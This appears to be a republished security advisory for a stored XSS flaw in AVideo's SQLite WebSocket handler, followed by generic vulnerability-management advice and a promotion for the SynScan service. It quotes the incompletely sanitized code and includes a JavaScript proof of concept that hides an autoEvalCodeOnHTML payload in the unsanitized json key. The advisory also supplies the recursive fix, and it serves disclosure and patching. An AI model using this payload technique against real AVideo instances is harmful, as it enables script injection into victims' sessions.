autoEvalCodeOnHTML in MessageSQLite WebSocket HandlerAVideo has a stored XSS vulnerability in the WebSocket messaging system. The MessageSQLite.php handler only strips autoEvalCodeOnHTML from $json['msg'], but msgToResourceId() reads from $msg['json'] with higher priority. An attacker can place the XSS payload in the json key instead of msg, bypassing the sanitization entirely.
AVideo <= latest
$json['msg']plugin/YPTSocket/MessageSQLite.php lines 268-271 — the incomplete fix:
if (empty($msgObj->isCommandLineInterface) && ($msgObj->sentFrom ?? '') !== 'php') {
if (is_array($json['msg'] ?? null)) {
unset($json['msg']['autoEvalCodeOnHTML']); // Only strips from $json['msg']
}
}
plugin/YPTSocket/MessageSQLite.php lines 361-367 — the bypass via msgToResourceId():
if (!empty($msg['json'])) {
$obj['msg'] = $msg['json']; // $msg['json']['autoEvalCodeOnHTML'] is NEVER stripped
} else if (!empty($msg['msg'])) {
$obj['msg'] = $msg['msg']; // Only this path was sanitized
} else {
$obj['msg'] = $msg;
}
Compare with the correctly patched Message.php (lines 254-256):
$json = removeAutoEvalCodeOnHTMLRecursive($json); // Strips from ALL nested paths
And MessageSQLiteV2.php (lines 302-303):
$json = removeAutoEvalCodeOnHTMLRecursive($json); // Same recursive fix
MessageSQLite.php does not call removeAutoEvalCodeOnHTMLRecursive() at all.
autoEvalCodeOnHTML in the json key instead of msg$json['msg'] — the json key is untouchedmsgToResourceId() reads $msg['json'] first (line 361) because !empty($msg['json']) is trueautoEvalCodeOnHTML// Connect to AVideo WebSocket as authenticated user
const ws = new WebSocket('wss://TARGET/plugin/YPTSocket/server.php?token=USER_TOKEN');
ws.onopen = () => {
ws.send(JSON.stringify({
msg: "Hello", // sanitized path — decoy
json: {autoEvalCodeOnHTML: "alert('XSS')"}, // unsanitized path — payload
to_users_id: VICTIM_USER_ID,
resourceId: RESOURCE_ID
}));
};
// Victim's client evaluates alert('XSS') via autoEvalCodeOnHTML mechanism
An authenticated attacker can:
The vulnerability affects the default SQLite WebSocket backend configuration.
Apply removeAutoEvalCodeOnHTMLRecursive() in MessageSQLite.php, consistent with Message.php and MessageSQLiteV2.php:
// Before (vulnerable — shallow strip):
if (is_array($json['msg'] ?? null)) {
unset($json['msg']['autoEvalCodeOnHTML']);
}
// After (fixed — recursive strip):
$json = removeAutoEvalCodeOnHTMLRecursive($json);
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.